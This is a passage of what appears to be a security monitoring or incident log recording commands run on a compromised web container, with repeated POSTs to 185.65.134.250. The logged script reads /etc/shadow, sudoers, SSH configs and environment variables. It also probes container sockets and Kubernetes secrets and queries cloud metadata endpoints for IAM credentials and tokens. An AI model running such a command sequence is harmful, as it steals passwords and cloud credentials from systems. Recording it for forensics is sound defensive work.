getent hosts mail ; getent hosts smtp ; getent hosts host.docker.internal ; getent hosts gateway.docker.internal ; ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock ; head -150 ; ps auxww ; head -40 ; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss ; head -50 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; head -250 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; cat /proc/loadavg ; tr \0 ; tr \0 ; tr \0 ; head -80 ; id ; cat /etc/passwd ; cat /etc/group ; head -40 ; cat /etc/shadow ; cat /etc/gshadow ; head -20 ; cat /etc/sudoers ; ls -la /etc/sudoers.d ; cat /etc/sudoers.d/* ; ls -la /root /home ; ls -la /root ; who ; w ; grep -E ^(Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp) /proc/self/status ; ls -la /root/.ssh /home/*/.ssh ; cat /root/.ssh/config /home/*/.ssh/config ; sort ; head -300 ; cut -c1-80 ; tr \0 ; sort ; env ; tr \0 \n ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; tr \0 \n ; tr \0 ; sort ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; sort ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 \n ; tr \0 ; cat /etc/profile.d/*.sh ; ls -la /etc/default /etc/sysconfig ; head -200 ; cat /etc/default/apache-htcacheclean /etc/default/nss /etc/default/useradd ; head -120 ; ls -la /etc/profile.d ; dpkg-query -W -f=${Package}\t${Version}\n ; head -400 ; wc -l ; dpkg-query -W -f=${Package}\n ; head -300 ; head -300 ; head -300 ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cat /etc/environment ; cat /etc/profile ; head -80 ; php -v ; php -m ; apache2 -v ; apache2ctl -M ; cat /proc/1/cgroup /proc/self/cgroup ; head -30 ; cat /proc/1/status ; cat /sys/fs/cgroup/memory.max ; ls -la /.dockerenv /run/.containerenv ; tr \0 ; cat /sys/fs/cgroup/cpu.max ; cat /sys/fs/cgroup/pids.max ; cat /sys/fs/cgroup/cpuset.cpus.effective ; ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock ; ls -la /run/secrets /var/run/secrets ; env ; grep -i kube ; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ ; head -30 ; grep -E /(host|var/lib/docker|var/lib/containerd|mnt|media) /proc/self/mountinfo ; ls -la /proc/1/root ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ ; head -60 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; head -1 ; curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token ; head -40 ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data ; head -20 ; head -30 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ; head -10 ; head -5 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id ; head -30 ; curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ ; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www ; apache2ctl -S ; grep -Rhs DocumentRoot /etc/apache2 /etc/httpd ; head -30 ; grep -E root |server_name|listen ; head -300 ; find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; head -60 ; ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d ; head -300 ; cat /etc/apache2/sites-enabled/000-default.conf /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf ; find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; find /var/www /usr/share/nginx /srv/www -name .htaccess -type f ; head -20 ; cat /var/www/html/robots.txt ; head -20 ; find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) ; head -300 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/apache2.conf ; sha256sum /etc/apache2/conf-available/charset.conf ; wc -c ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/conf-available/docker-php.conf ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/conf-available/other-vhosts-access-log.conf ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/localized-error-pages.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/security.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/conf-available/serve-cgi-bin.conf ; cut -d -f1 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/envvars ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/magic ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/access_compat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/actions.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/auth_digest.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/auth_basic.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; wc -c ; sha256sum /etc/apache2/mods-available/auth_form.load ; cut -d -f1 ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authn_dbd.load ; cut -d -f1 ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_core.load ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authnz_ldap.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authn_dbm.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authnz_fcgi.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/authz_dbd.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_dbm.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authz_user.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/brotli.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cache_socache.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cern_meta.load ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/data.load ; sha256sum /etc/apache2/mods-available/cgid.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dav_fs.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/dav_lock.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/dialup.load ; cut -d -f1 ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dbd.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dir.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/dir.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/file_cache.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/filter.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/heartbeat.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/http2.conf ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/http2.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/ident.load ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/imagemap.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/lbmethod_bytraffic.load ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/lua.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/lbmethod_heartbeat.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/log_debug.load ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_prefork.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/mpm_worker.load ; sha256sum /etc/apache2/mods-available/mpm_prefork.conf ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/md.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_event.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/negotiation.conf ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy.conf |
| 2026-10-29 20:07:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af collect |
| 2026-10-29 20:08:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af collect |
| 2026-10-29 20:09:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | uname -m ; uname -r ; cat /etc/os-release ; cat /etc/debian_version /etc/alpine-release /etc/redhat-release ; getconf LONG_BIT ; uptime ; cat /proc/uptime ; date -u ; whoami ; hostname ; uname -a ; hostname -f ; id ; cat /sys/class/dmi/id/sys_vendor ; cat /sys/class/dmi/id/product_name ; cat /sys/class/dmi/id/product_version ; cat /sys/class/dmi/id/board_name ; cat /sys/class/dmi/id/bios_vendor ; getent passwd www-data ; id -un ; cat /sys/class/dmi/id/chassis_type ; cat /sys/class/dmi/id/chassis_serial ; cat /sys/class/dmi/id/bios_version ; nproc ; lscpu ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; cat /sys/devices/system/cpu/online /sys/devices/system/cpu/possible ; head -80 ; egrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; cat /sys/devices/system/memory/memory0/state ; head -20 ; cat /sys/devices/system/memory/memory1/state ; cat /sys/devices/system/memory/memory10/state ; cat /sys/devices/system/memory/memory11/state ; cat /sys/devices/system/memory/memory12/state ; cat /sys/devices/system/memory/memory13/state ; cat /sys/devices/system/memory/memory14/state ; cat /sys/devices/system/memory/memory4/state ; cat /sys/devices/system/memory/memory5/state ; cat /sys/devices/system/memory/memory8/state ; cat /sys/devices/system/memory/memory7/state ; cat /sys/devices/system/memory/memory9/state ; cat /sys/devices/system/memory/memory3/state ; cat /sys/devices/system/memory/memory2/state ; cat /sys/devices/system/memory/memory6/state ; cat /sys/devices/system/memory/memory15/state ; free -m ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/devices/system/node/node0/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; head -40 ; free -h ; egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/fs/cgroup/memory.max ; cat /sys/fs/cgroup/memory.current ; cat /sys/fs/cgroup/memory.peak ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/fs/cgroup/memory.swap.max ; cat /sys/fs/cgroup/memory/memory.limit_in_bytes ; cat /sys/fs/cgroup/memory/memory.usage_in_bytes ; cat /proc/swaps ; swapon --show ; df -hP ; df -iP ; head -100 ; cat /proc/self/mountinfo ; du -sh /var/www ; cat /proc/partitions ; du -sh /var/www/html ; lsblk ; du -sh /srv ; du -sh /var/lib ; du -sh /tmp ; du -sh /opt ; du -sh /var/log ; du -sh /usr/local ; du -sh /home ; find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n ; sort -nr ; head -30 ; cat /proc/net/route ; hostname -I ; cat /sys/class/net/enp0s2/address ; cat /sys/class/net/lo/address ; cat /proc/net/arp ; cat /proc/net/tcp /proc/net/tcp6 ; cat /proc/net/udp /proc/net/udp6 ; head -120 ; cat /proc/net/fib_trie ; cat /etc/hosts ; cat /etc/resolv.conf ; cat /etc/nsswitch.conf ; getent hosts database ; getent hosts db ; getent hosts mail ; getent hosts mysql ; getent hosts rabbitmq ; getent hosts smtp ; getent hosts redis ; ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock ; getent hosts gateway.docker.internal ; head -40 ; getent hosts host.docker.internal ; head -50 ; tr \0 ; head -250 ; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss ; ps auxww ; head -150 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; cat /proc/loadavg ; tr \0 ; tr \0 ; tr \0 ; head -20 ; cat /etc/gshadow ; cat /etc/sudoers ; ls -la /etc/sudoers.d ; cat /etc/sudoers.d/* ; ls -la /root ; who ; w ; ls -la /root /home ; cat /etc/shadow ; head -80 ; id ; cat /etc/passwd ; cat /etc/group ; head -40 ; grep -E ^(Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp) /proc/self/status ; ls -la /root/.ssh /home/*/.ssh ; cat /root/.ssh/config /home/*/.ssh/config ; env ; sort ; sort ; head -300 ; cut -c1-80 ; tr \0 ; tr \0 \n ; cut -c1-80 ; sort ; sort ; tr \0 ; sort ; tr \0 \n ; tr \0 ; sort ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 \n ; tr \0 \n ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 \n ; tr \0 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; sort ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cat /etc/environment ; head -80 ; ls -la /etc/profile.d ; head -120 ; cat /etc/profile.d/*.sh ; cat /etc/profile ; ls -la /etc/default /etc/sysconfig ; head -200 ; cat /etc/default/apache-htcacheclean /etc/default/nss /etc/default/useradd ; wc -l ; dpkg-query -W -f=${Package}\t${Version}\n ; dpkg-query -W -f=${Package}\n ; head -400 ; head -300 ; head -300 ; head -300 ; php -v ; php -m ; apache2 -v ; apache2ctl -M ; cat /proc/1/cgroup /proc/self/cgroup ; ls -la /.dockerenv /run/.containerenv ; tr \0 ; env ; cat /sys/fs/cgroup/cpuset.cpus.effective ; ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock ; ls -la /run/secrets /var/run/secrets ; cat /proc/1/status ; grep -i kube ; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ ; grep -E /(host|var/lib/docker|var/lib/containerd|mnt|media) /proc/self/mountinfo ; head -30 ; cat /sys/fs/cgroup/pids.max ; cat /sys/fs/cgroup/memory.max ; head -30 ; cat /sys/fs/cgroup/cpu.max ; ls -la /proc/1/root ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ ; head -60 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type ; head -20 ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info ; head -20 ; curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; head -1 ; head -40 ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json ; head -20 ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ ; curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ; head -30 ; head -30 ; head -5 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id ; head -10 ; curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ ; head -20 ; head -300 ; find /var/www /usr/share/nginx /srv/www -name .htaccess -type f ; cat /var/www/html/robots.txt ; head -20 ; find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) ; find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; head -300 ; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www ; apache2ctl -S ; grep -Rhs DocumentRoot /etc/apache2 /etc/httpd ; ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d ; head -30 ; head -60 ; cat /etc/apache2/sites-enabled/000-default.conf /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf ; grep -E root |server_name|listen ; head -300 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/apache2.conf ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/charset.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/conf-available/docker-php.conf ; cut -d -f1 ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/conf-available/other-vhosts-access-log.conf ; sha256sum /etc/apache2/conf-available/localized-error-pages.conf ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/magic ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/conf-available/serve-cgi-bin.conf ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/envvars ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/security.conf ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/access_compat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/actions.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/auth_basic.load ; cut -d -f1 ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/auth_digest.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/auth_form.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authn_dbd.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authn_dbm.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/authnz_ldap.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authnz_fcgi.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authz_core.load ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_dbm.load ; cut -d -f1 ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_user.load ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/brotli.load ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/cache_socache.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authz_dbd.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cern_meta.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cgid.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/dav_lock.load ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/data.load ; sha256sum /etc/apache2/mods-available/dav_fs.load ; cut -d -f1 ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/dialup.load ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dir.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/dbd.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/dir.load ; sha256sum /etc/apache2/mods-available/file_cache.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; wc -c ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/filter.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/heartbeat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/http2.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/http2.load ; cut -d -f1 ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/ident.load ; wc -c ; sha256sum /etc/apache2/mods-available/imagemap.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/lbmethod_bytraffic.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/lbmethod_heartbeat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/log_debug.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/lua.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_prefork.conf ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_prefork.load ; cut -d -f1 ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/md.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/mpm_event.conf ; wc -c ; cut -d -f1 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/mpm_worker.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/negotiation.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy.conf ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy_balancer.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/proxy_hcheck.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy_http.load ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy_uwsgi.load |
| 2026-10-29 20:10:34 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -c -f collect.sh |
| 2026-10-29 20:11:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -c -f collect.sh |
